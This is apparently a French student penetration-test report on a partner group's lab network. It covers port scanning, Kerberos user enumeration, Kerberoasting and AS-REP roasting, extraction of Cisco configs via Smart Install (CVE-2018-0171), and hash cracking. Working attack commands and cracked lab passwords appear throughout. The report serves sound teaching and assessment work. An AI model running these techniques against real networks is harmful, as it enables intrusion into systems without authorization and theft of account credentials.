

# SAE33 - Rapport de Test d'Intrusion

|                |                                                                                             |
|----------------|---------------------------------------------------------------------------------------------|
| <b>Auteurs</b> | DUBOC Romain<br>LEGOFF Rémi<br>RAVELOSON Ho Koloïna<br>RIBARDIERE Julien<br>VIGNEUX Florian |
| <b>Date</b>    | 16/01/2026                                                                                  |
| <b>Cible</b>   | Maquette groupe 6                                                                           |

## I - Résumé exécutif

### 1. Contexte

Ce rapport présente les résultats du test d'intrusion réalisé sur l'infrastructure du groupe avec lequel nous avons échangé nos maquettes dans le cadre de la SAE33.

### 2. Périmètre

- **Cible** : Infrastructure groupe 6 SAE33
- **Type de test** : Boîte noire (aucune information préalable)

## II - Méthodologie

Ce test d'intrusion suit le standard **PTES** (Penetration Testing Execution Standard) :

1. **Reconnaissance** : Collecte d'informations sur la cible
2. **Scan et enumeration** : Identification des services et ports ouverts
3. **Analyse des vulnérabilités** : Recherche de failles de sécurité
4. **Exploitation** : Tentatives d'exploitation des vulnérabilités
5. **Post-exploitation** : Analyse des données accessibles
6. **Rapport** : Documentation des résultats

### 1 - Outils utilisés

- **nmap** - Scan de ports
- **hashcat** - Attaque de bruteforce sur hash
- **metasploit** - Penetration testing framework
- **msconsole** - Exploiter, scanner, attaquer la cible
- **ldapsearch** - Requêtes annuaire LDAP
- **Kerbrute** - Outil d'exploitation d'un domaine Active Directory

# III - Reconnaissance

## 1. Infrastructure réseau

### Découverte d'hôtes

Une fois connecté à l'infrastructure réseau,

**Commande exécutée :**

```
ip -c
```

**Résultat commande :**

```
eno1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 34:17:eb:a7:74:86 brd ff:ff:ff:ff:ff:ff
altname enp0s25
inet 10.0.0.11/24 brd 10.0.0.255 scope global dynamic noprefixroute eno1
```

On possède une classe **A**, techniquement **/8**. La problématique étant le manque de puissance de l'ordinateur à scanner autant d'hôte, un **/16** est effectué.

### Scan de ports

**Commande exécutée :**

```
nmap -sV 10.0.0.0/16
```

**Résultat commande :**

```
PORT      STATE SERVICE VERSION
902/tcp   open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
Nmap scan report for 10.0.0.1
22/tcp    open  ssh      Cisco SSH 1.25 (protocol 2.0)
80/tcp    open  http     Cisco IOS http config
443/tcp   open  ssl/https?
Nmap scan report for 10.0.0.2
22/tcp    open  ssh      Cisco SSH 1.25 (protocol 2.0)
80/tcp    open  http     Cisco IOS http config
443/tcp   open  ssl/https?
Nmap scan report for 10.0.0.3
22/tcp    open  ssh      Cisco SSH 1.25 (protocol 2.0)
80/tcp    open  http     Cisco IOS http config
443/tcp   open  ssl/https?
Nmap scan report for 10.0.0.4
22/tcp    open  ssh      Cisco SSH 1.25 (protocol 2.0)
```

80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.0.5

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.0.11

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.0.14

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.0.20

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.1.1

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.1.2

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.1.3

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.1.11

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.1.12

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
53/tcp open domain ISC BIND 9.18.41-1~deb12u1 (Debian Linux)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.1.15

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
53/tcp open domain ISC BIND 9.18.41-1~deb12u1 (Debian Linux)  
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.1.19

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)  
902/tcp open ssl/vmware-auth VMWare Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 10.0.2.1

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.2.2

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.2.3

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.2.10

22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)  
53/tcp open domain ISC BIND 9.20.15-1~deb13u1 (Debian Linux)

Nmap scan report for 10.0.2.11

22/tcp open ssh OpenSSH for\_Windows\_9.5 (protocol 2.0)  
53/tcp open domain Simple DNS Plus  
80/tcp open http Microsoft IIS httpd 10.0  
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-13 09:59:24Z)  
135/tcp open msrpc Microsoft Windows RPC  
139/tcp open netbios-ssn Microsoft Windows netbios-ssn  
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: G6.test0., Site: Default-First-Site-Name)  
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: G6)  
464/tcp open kpasswd5?  
593/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0  
636/tcp open tcpwrapped  
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: G6.test0., Site: Default-First-Site-Name)  
3269/tcp open tcpwrapped  
3389/tcp open ms-wbt-server Microsoft Terminal Services  
Service Info: Host: ADG6; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.0.2.129

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.2.130

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.2.131

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.1

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.2

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.3

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.129

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.130

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.131

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.193

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config

443/tcp open ssl/https?

Nmap scan report for 10.0.3.194

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.3.195

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.3.240

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

Nmap scan report for 10.0.3.241

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https

Nmap scan report for 10.0.3.242

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.3.250

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

Nmap scan report for 10.0.3.251

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.3.252

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)

Nmap scan report for 10.0.3.253

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.4.1

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.4.2

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
80/tcp open http Cisco IOS http config  
443/tcp open ssl/https?

Nmap scan report for 10.0.4.3

22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)  
 80/tcp open http Cisco IOS http config  
 443/tcp open ssl/https?

## Services exposés

| IPs (plage)             | SSH Version              | Ports HTTP/HTTPS | Autres ports & services notables                                                                                                          | Cible probable                 |
|-------------------------|--------------------------|------------------|-------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------|
| 10.0.0.1 – 10.0.0.5     | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS (switch/router)      |
| 10.0.0.11, .14, .20     | OpenSSH 9.2p1 Debian 12  | —                | 902/vmware-auth                                                                                                                           | ESXi / VMware host             |
| 10.0.1.1 – 10.0.1.3     | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.1.11               | OpenSSH 9.2p1 Debian 12  | —                | 902/vmware-auth                                                                                                                           | ESXi / VMware                  |
| 10.0.1.12, .15          | OpenSSH 9.2p1 Debian 12  | —                | 53/BIND 9.18, 902/vmware-auth                                                                                                             | Linux + DNS + ESXi             |
| 10.0.1.19               | OpenSSH 9.2p1 Debian 12  | —                | 902/vmware-auth                                                                                                                           | ESXi / VMware                  |
| 10.0.2.1 – 10.0.2.3     | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.2.10               | OpenSSH 10.0p2 Debian 13 | —                | 53/BIND 9.20                                                                                                                              | Serveur DNS Linux              |
| 10.0.2.11               | OpenSSH 9.5 (Windows)    | 80/IIS 10        | 53/Simple DNS, 88/Kerberos, 135/RPC, 139/NetBIOS, 389/LDAP, 445/SMB, 464/kpasswd, 593/RPC-HTTP, 636/LDAPS, 3268/GC, 3269/GC-SSL, 3389/RDP | Windows AD (domaine G6.test0.) |
| 10.0.2.129 – 10.0.2.131 | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.3.1 – 10.0.3.3     | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.3.129 – 10.0.3.131 | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.3.193 – 10.0.3.195 | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.3.240, .250, .252  | Cisco SSH 1.25           | —                | —                                                                                                                                         | Cisco (gestion SSH seule)      |
| 10.0.3.241 – 10.0.3.242 | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.3.251, .253        | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |
| 10.0.4.1 – 10.0.4.3     | Cisco SSH 1.25           | 80, 443          | —                                                                                                                                         | Cisco IOS                      |

## Topologie

- **Switchs :**
  - Stack n°1 : 10.0.X.3
  - Stack n°2 : 10.0.X.2
  - Vlans SVI : 10.0.X.1

- VM Debian (DNS & TFTP) : 10.0.2.10
- VM Windows AD : 10.0.2.11
- Routeur : 10.0.3.250 / 10.0.0.3.251 / 10.0.3.252 / 10.0.3.253

## 2. Système

### OS

- Windows
- Linux
- Cisco IOS

## 3. Active Directory

### Utilisateurs

Kerbrute a permis d'identifier 38 comptes valides parmi une listes de noms. Cette énumération repose sur le comportement normal de Kerberos, qui renvoie des messages différents selon que le compte existe ou non.

```
adminetu@RTD03:~$ sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
kerbrute userenum --dc 10.0.2.11 -d G6.test users.txt
[sudo] Mot de passe de adminetu :
mv: impossible d'évaluer 'kerbrute_linux_amd64': Aucun fichier ou dossier de ce type
```

```

  _      _      _
 //__  __//  _  __//__
 //| _ \\| _ \\| _ \\| _ \\|
 /, < / _// _// _// _// _//
 /|_|_|\\|_|_|_|_|_|_|_|_|_|
```

Version: v1.0.3 (9dad6e1) - 01/15/26 - Ronnie Flathers @ropnop

```
2026/01/15 14:07:34 > Using KDC(s):
2026/01/15 14:07:34 > 10.0.2.11:88
```

```
2026/01/15 14:07:34 > [+] VALID USERNAME:  administrateur@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Jon.Snow@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Arya.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Sansa.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Robb.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Bran.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Ned.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Benjen.Stark@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Daenerys.Targaryen@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Viserys.Targaryen@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Tywin.Lannister@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME:  Jaime.Lannister@G6.test
```



```

2026/01/15 14:07:34 > [+] VALID USERNAME: Cersei.Lannister@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Tyrion.Lannister@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Yara.Greyjoy@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Theon.Greyjoy@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Kevan.Lannister@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Lancel.Lannister@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Balon.Greyjoy@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Euron.Greyjoy@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Jorah.Mormont@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Victarion.Greyjoy@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Samwell.Tarly@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Jeor.Mormont@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Stannis.Baratheon@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Robert.Baratheon@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Shireen.Baratheon@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Renly.Baratheon@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Gregor.Clegane@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Sandor.Clegane@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Petyr.Baelish@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Davos.Seaworth@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Podrick.Payne@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Oberyn.Martell@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Grey.Worm@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Ellaria.Sand@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Trystane.Martell@G6.test
2026/01/15 14:07:34 > [+] VALID USERNAME: Doran.Martell@G6.test
2026/01/15 14:07:34 > Done! Tested 92 usernames (38 valid) in 0.013 seconds

```

## LDAP

**But :** identifier la structure de l'annuaire LDAP/Active Directory en récupérant les partitions racines (namingContexts) sans authentification.

**Commande :**

```
adminetu@RTD03:~$ ldapsearch -H ldap://10.0.2.11 -x -b "" -s base "(objectClass=*)" namingContexts
```

**Résultat:**

```

adminetu@RTD03:~$ ldapsearch -H ldap://10.0.2.11 -x -b "" -s base "(objectClass=*)" namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts
#

```

```
#
dn:
namingContexts: DC=G6,DC=test
namingContexts: CN=Configuration,DC=G6,DC=test
namingContexts: CN=Schema,CN=Configuration,DC=G6,DC=test
namingContexts: DC=DomainDnsZones,DC=G6,DC=test
namingContexts: DC=ForestDnsZones,DC=G6,DC=test

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

LDAP autorise la connexion anonyme à la base de la racine.

#### Commande :

```
ldapsearch -H ldap://10.0.2.11 -x -b "DC=G6,DC=test" -s sub "(objectClass=*)"
```

#### Résultat :

```
adminetu@RTD03:~$ ldapsearch -H ldap://10.0.2.11 -x -b "DC=G6,DC=test" -s sub "(objectClass=*)"
# extended LDIF
#
# LDAPv3
# base <DC=G6,DC=test> with scope subtree
# filter: (objectClass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
```

LDAP refuse la connexion dans son annuaire sans authentification.

## Kerberoasting

Analyse des cibles identifiées avec utilisateur trouvé via smb

```
└─$ impacket-GetUserSPNs G6.TEST/daenerys.targaryen:'Dracarys123!' -dc-ip 10.0.2.11 -request -outputfile kerberoast.hashes
```

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

| ServicePrincipalName         | Name        | MemberOf                                             | PasswordLastSet                    |
|------------------------------|-------------|------------------------------------------------------|------------------------------------|
| LastLogon Delegation         |             |                                                      |                                    |
| -----                        |             |                                                      |                                    |
| ftp/files.G6.test            | svc_ftp     | CN=GRP_Services,OU=Guildes,OU=Westeros,DC=G6,DC=test | 2026-01-12 09:54:23.203974 <never> |
| HTTP/mail.G6.test            | svc_raven   | CN=GRP_Services,OU=Guildes,OU=Westeros,DC=G6,DC=test | 2026-01-12 09:54:22.782005 <never> |
| HTTP/monitor.G6.test         | svc_wall    | CN=GRP_Services,OU=Guildes,OU=Westeros,DC=G6,DC=test | 2026-01-12 09:54:22.938251 <never> |
| HTTP/www.G6.test             | svc_iron    | CN=GRP_Services,OU=Guildes,OU=Westeros,DC=G6,DC=test | 2026-01-12 09:54:22.860129 <never> |
| ldap/citadel.G6.test         | svc_citadel | CN=GRP_Services,OU=Guildes,OU=Westeros,DC=G6,DC=test | 2026-01-12 09:54:23.016377 <never> |
| MSSQLSvc/backup.G6.test:1433 | svc_dragon  | CN=GRP_Backup,OU=Guildes,OU=Westeros,DC=G6,DC=test   | 2026-01-12 09:54:22.703879 <never> |

[-] CCache file is not found. Skipping...

- **svc\_dragon (MSSQLSvc)**
  - **Service** : Microsoft SQL Server.
  - **Risque** : Les comptes de service SQL disposent fréquemment de privilèges élevés (e.g., *Domain Admin* ou *Local Admin*).
  - **Impact potentiel** : En cas de compromission du mot de passe, ce compte permet souvent une exécution de code à distance via `xp_cmdshell`.
- **svc\_citadel (LDAP)**
  - **Service** : LDAP.
  - **Intérêt** : Ce compte pourrait offrir des droits de lecture étendus sur l'annuaire Active Directory, facilitant la reconnaissance interne ou l'accès à des attributs sensibles.
- **svc\_ftp , svc\_raven , svc\_wall , svc\_iron**
  - **Services** : FTP et HTTP (Web).
  - **Analyse** : Ces comptes semblent dédiés à des services applicatifs spécifiques (fichiers, mail, monitoring, web). Bien qu'utiles pour élargir la surface d'attaque, ils possèdent généralement des privilèges moindres.

# IV - Identification des vulnérabilités

## 1. Infrastructure réseau

### Services vulnérables

- OpenSSH 9.2p1 Debian 12 (bookworm)
  - CVE-2024-6387 ("regreSSHion") - Critique (CVSS 8.1-9.8 selon contexte)
- OpenSSH 10.0p2 Debian 13
  - CVE-2025-26465 - Modéré
  - CVE-2025-26466 - Modéré
  - CVE-2025-32728 - Mineur
- OpenSSH 9.5
  - ObscureKeystrokeTiming logic error - Modéré

### Ports ouverts non nécessaires

**Cisco Smart Install (CVE-2018-0171)** : Le port 4786 est ouvert et non filtré, permettant l'exfiltration de configuration ou l'exécution de commandes sans authentification.

- Scan ciblé : <https://book.hacktricks.wiki/en/network-services-pentesting/4786-cisco-smart-install.html>
- Commande pour scanner :

```
sudo nmap -p 4786 10.0.2.1 10.0.2.2 10.0.2.3
```

```
Nmap scan report for 10.0.2.1
PORT      STATE SERVICE
4786/tcp  open  smart-install
```

```
Nmap scan report for 10.0.2.2
PORT      STATE SERVICE
4786/tcp  open  smart-install
```

```
Nmap scan report for 10.0.2.3
PORT      STATE SERVICE
4786/tcp  open  smart-install
```

Vérification que le service est accessible sans restriction pare-feu.

```
adminetu@RTD01:~$ nc -v 10.0.2.1 4786
Connection to 10.0.2.1 4786 port [tcp/*] succeeded!
```

### Protocoles obsolètes

## 2. Système

### Patches manquants

## Configurations faibles

## Credentials exposés

# 3. Active Directory

## AS-REP Roasting

**Sévérité** : Haute / Critique (selon le contexte du domaine et la force des mots de passe)

**Outil utilisé** : Impacket v0.10.0 ([GetNPUsers.py](#)) + John the Ripper

La fonctionnalité "Do not require Kerberos preauthentication" (UserAccountControl flag 4194304 / DONT\_REQUIRE\_PREAUTH) est une option légitime mais dangereuse si activée sur des comptes utilisateurs normaux.

## Kerberoasting

**Sévérité** : Critique (CVSS-like : 9.8-10.0 / Impact maximal sur la confidentialité, l'intégrité et la disponibilité du domaine)

**Outil utilisé** : Impacket v0.13.0.dev0 ([secretsdump.py](#))

## Délégations abusives

# V - Exploitation

## 1. Infrastructure réseau

### Accès non autorisé via services mal configurés

- Se connecter à un port appartenant à un Vlan d'administration sur un switch.
- Récupération sur les équipements Cisco des fichiers de configuration grâce au port 4786 ouvert.

```
adminetu@RTD01:~$ git clone https://github.com/Sab0tag3d/SIETpy3
cd SIETpy3
adminetu@RTD01:~/SIETpy3$ sudo python3 siet.py -g -i 10.0.2.1
ls -R
```

```
adminetu@RTD01:~/SIETpy3$ ls -R
.:
cisco-siet.nse  hash_cisco.txt  README.md  tftp
dico_fr.txt    LICENSE         siet.py    vuln_dev_list.txt
dico.txt       mots_courts.txt sTFTP.py   wordlist_fr_8chars.txt

./tftp:
10.0.2.1.conf
```

- Exploitation des fichiers de configuration

```
cat tftp/10.0.2.1.conf
```

```
adminetu@RTD01:~/SIETpy3$ cat tftp/10.0.2.1.conf
!
version 12.2
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname G6-Stack1
!
boot-start-marker
boot-end-marker
!
!
username admin privilege 15 secret 5 $1$TGI6$/PvipnUDU9s29vLZn.c900
!
```

```
interface Vlan700
description Services_Logiciels
ip address 10.0.2.3 255.255.255.128
no ip route-cache cef
no ip route-cache
no ip mroute-cache
standby 70 ip 10.0.2.1
standby 70 timers 1 3
standby 70 preempt
standby 70 track 1 decrement 30
!
```

Après avoir analysé les fichiers de configuration présents sur les équipements réseau on remarque que le **Vlan700** ne possède aucune ligne comportant `standby authentication`. Le HSRP n'est donc pas protégé par mot de passe et ainsi n'importe qui peut se prétendre routeur.

"HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis."

#### GLBP & HSRP Attacks - HackTricks

Learn & practice AWS Hacking: HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

<https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.html>

## Mot de passe admin stacks switches

À partir des fichiers de configuration des switches on a obtenu le hash du compte admin

```
$1$TGI6$/PvipnUDU9s29vLZn.c900
```

- Signature : Il commence par \$1\$.
- Type : md5crypt (aussi appelé MD5 Unix)
- Code Hashcat : 500
- On sait que le mot de passe commence par `Bi`.

```
echo '$1$TGI6$/PvipnUDU9s29vLZn.c900' > hash.txt
```

```
...
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
```

Optimizers applied:

- \* Zero-Byte
- \* Early-Skip
- \* Not-Salted
- \* Single-Hash
- \* Single-Salt

```
...
```

```
$1$TGI6$/PvipnUDU9s29vLZn.c9O0: BillyBoy
```

```
...
```

**BillyBoy** est le mot de passe.

Connexion en tant qu'administrateur en utilisant les identifiants et en contournant les restrictions cryptographiques.

Exemple de commande : `ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc,3des-cbc [admin@10.0.2.1] (<mailto:admin@10.0.2.1>)`

## 2. Active Directory

### AS-REP Roasting

```
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py g6.test/ -dc-ip 10.0.2.11 -
usersfile users.txt
```

**Résultats principaux :**

- Comptes **non vulnérables** → Message : "doesn't have UF\_DONT\_REQUIRE\_PREAUTH set" ou KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN
- Comptes **vulnérables** → Hash AS-REP récupéré au format \$krb5asrep\$23\$...

**Hashes extraits :**

```
$krb5asrep$23$Tyrion.Lannister@G6.TEST:3ef985a64eb275d8e1ac8506a0472580$efa0c280
0553e5adc80089c11ee1d0dd57b416a98f17c4631d39f77044e14435b03b510b5ee7f958292>
$krb5asrep$23$Bran.Stark@G6.TEST:4c804c681feebb3852cd18cf3a3579f7$c2b89e0f735c5
0eb5a0a2d634f5fa0610b0c028f6da9d8fe1cd9246802b9bf576aba95d8fe3786cfc0b40c953>
$krb5asrep$23$Renly.Baratheon@G6.TEST:42213ddc8895a69867ee2e2be165c2c0$341b287
79292826cef40447bc1d29c6f31535ff4abf2fc52012a22922de51ebf15f41a941c07b91aba8c>
$krb5asrep$23$Doran.Martell@G6.TEST:9cff26789eb3f9422b021849994b1a8a$204295a7ab
bed79b7a7ee8192675490ec8beabd4eefd5f50eb942208c946cfb6805fb848c4876591395b33
>
```

## Cracking réussi (via John the Ripper) :

```
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asrep
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/2
3 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Rainbow123      ($krb5asrep$23$Renly.Baratheon@G6.TEST)
1g 0:00:00:47 DONE (2026-01-15 08:38) 0.02095g/s 300518p/s 909279c/s 909279C/s 08410
79575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

## Compromission Domain Admin

Sans authentification, l'outil Kerbrute a permis de valider l'existence d'un identifiant reconnu par le service Kerberos. L'utilisateur découvert est particulièrement sensible puisqu'il s'agit d'un compte disposant de l'ensemble des privilèges d'administration du domaine :

`administrateur@G6.test`

Cette identification repose sur le comportement normal du protocole Kerberos, qui renvoie des réponses différentes selon que le compte existe ou non.

**Impact :** L'exposition d'un compte valide, et en particulier d'un compte administrateur, augmente significativement la surface d'attaque. Un attaquant peut désormais cibler ce compte pour mener des attaques de type force brute ou password spraying, avec un risque accru si le mot de passe ne respecte pas les recommandations de robustesse (telles que celles préconisées par l'ANSSI).

La découverte d'un compte à privilèges élevés facilite ainsi une compromission potentielle du domaine Active Directory.

## Mouvement latéral

En ayant récupéré un accès au compte `Renly.Baratheon` avec le mot de passe `Rainbow123` on peut essayer de se connecter en SMB au domaine et voir les partages auxquels cet utilisateur a accès.

### 1. Énumération des partages disponibles via cet utilisateur

```
└─(kali㉿kali)-[~]
└─$ smbclient -L //10.0.2.11 -U 'Renly.Baratheon%Rainbow123' -W G6.test

Sharename      Type      Comment
-----
ADMIN$         Disk     Administration à distance
C$             Disk     Partage par défaut
DocsAdmin      Disk
IPC$           IPC      IPC distant
IronThrone$    Disk
IT             Disk
Logo           Disk
```



```

NETLOGON      Disk      Partage de serveur d'accès
Profile$      Disk
SYSVOL        Disk      Partage de serveur d'accès
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.2.11 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
